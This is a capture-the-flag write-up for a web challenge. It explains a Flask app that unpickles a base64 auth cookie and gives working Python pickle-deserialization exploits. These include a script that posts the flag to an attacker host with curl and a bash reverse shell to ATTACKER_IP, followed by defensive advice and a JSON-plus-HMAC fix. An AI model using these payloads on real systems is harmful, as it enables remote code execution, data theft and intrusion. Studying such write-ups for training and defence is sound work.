HTB Hack The Boo Practice: Web Spellbound Servants

Challenge Information

AttributeDetails
EventHack The Boo Practice
CategoryWeb
ChallengeWeb Spellbound Servants
DifficultyVery Easy

Summary

A Flask web application stores user session data in base64-encoded pickled objects. After authentication, the user data is serialized using Python’s pickle module, which is known to be insecure. An attacker can craft a malicious pickled object that executes arbitrary code during deserialization, leading to remote code execution when the application loads the authentication cookie.


Analysis

The vulnerable code:

def login_user_db(username, password):
user = query('SELECT username FROM users WHERE username = %s AND password = %s',
(username, password,), one=True)
if user:
# VULNERABLE: Pickling user object without sanitization
pickled_data = base64.b64encode(pickle.dumps(user))
return pickled_data.decode("ascii")
else:
return False

The auth cookie is set with:

@api.route('/login', methods=['POST'])
def api_login():
# ... validation code ...
user = login_user_db(username, password)
if user:
res = make_response(response('Logged In sucessfully'))
res.set_cookie('auth', user) # Sets pickled user data as cookie
return res

Critical Issues:

  1. Insecure Deserialization: Pickle is used to serialize user objects
  2. Untrusted Cookie Data: An attacker can craft malicious pickled objects
  3. No Signature Verification: The pickled data is not cryptographically signed
  4. Direct Deserialization: The application likely deserializes the cookie without validation

Solution

Step 1: Create a Malicious Pickle Object

Python’s pickle module can execute arbitrary code during deserialization. Use the pickle module to craft a payload:

import pickle
import base64
import os
# Create a malicious payload using pickle
# This will execute a system command when unpickled
class RCE:
def __reduce__(self):
# Execute command and read flag
return (os.system, ('cat flag.txt > /tmp/flag.txt',))
# Alternatively, use this more sophisticated approach
import subprocess
class Exploit:
def __reduce__(self):
return (subprocess.Popen, (['cat', 'flag.txt'],))

Step 2: Generate the Base64-Encoded Cookie

import pickle
import base64
import subprocess
# Create malicious object
class Exploit:
def __reduce__(self):
# Execute command that writes flag to accessible location
return (os.system, ('cat flag.txt > /tmp/flag.txt; chmod 777 /tmp/flag.txt',))
# Serialize and encode
malicious_obj = Exploit()
payload = base64.b64encode(pickle.dumps(malicious_obj)).decode('ascii')
print("Malicious Cookie:")
print(payload)

Step 3: Send the Cookie to the Application

Terminal window
# Using curl with the malicious cookie
curl -H "Cookie: auth=<MALICIOUS_PAYLOAD>" http://target:1337/home

Step 4: Full Exploitation Script

import requests
import pickle
import base64
import subprocess
import os
# Create RCE payload
class RCE:
def __reduce__(self):
# Read and exfiltrate flag
cmd = "cat flag.txt > /tmp/flag && curl -X POST -d @/tmp/flag http://attacker:8000/exfil"
return (os.system, (cmd,))
# Serialize the payload
payload = base64.b64encode(pickle.dumps(RCE())).decode('ascii')
# Send request with malicious cookie
url = "http://target:1337/home"
cookies = {"auth": payload}
response = requests.get(url, cookies=cookies)
print(response.text)

Alternative Method: Direct Reverse Shell

import pickle
import base64
import socket
import subprocess
import os
class RCE:
def __reduce__(self):
# Reverse shell payload
return (os.system,
('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1',))
payload = base64.b64encode(pickle.dumps(RCE())).decode('ascii')
print(payload)

Using a Python HTTP Request:

import requests
import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ('cat flag.txt',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode('ascii')
# Set malicious cookie
cookies = {'auth': payload}
r = requests.get('http://target:1337/home', cookies=cookies)
print(r.text)

Key Takeaways

  • Never use pickle for untrusted data - It allows arbitrary code execution during deserialization
  • Use JSON instead of pickle for serialization when possible
  • If serialization is needed, use safe alternatives:
    • json module (safe, human-readable)
    • msgpack (fast, but needs signed verification)
    • protobuf (strongly typed, safe)
  • Always cryptographically sign serialized data using HMAC
  • Validate and verify cookie data before deserialization
  • Use secure session management frameworks (Flask-Session, Django sessions) that handle this safely
  • Example of safer code:
import json
import hmac
import hashlib
SECRET_KEY = b"your-secret-key"
def create_secure_session(user_data):
# Use JSON instead of pickle
json_data = json.dumps(user_data)
# Sign the data
signature = hmac.new(SECRET_KEY, json_data.encode(), hashlib.sha256).hexdigest()
return f"{json_data}.{signature}"
def verify_and_load_session(session_token):
try:
json_data, signature = session_token.rsplit('.', 1)
expected_sig = hmac.new(SECRET_KEY, json_data.encode(), hashlib.sha256).hexdigest()
if hmac.compare_digest(signature, expected_sig):
return json.loads(json_data)
except:
return None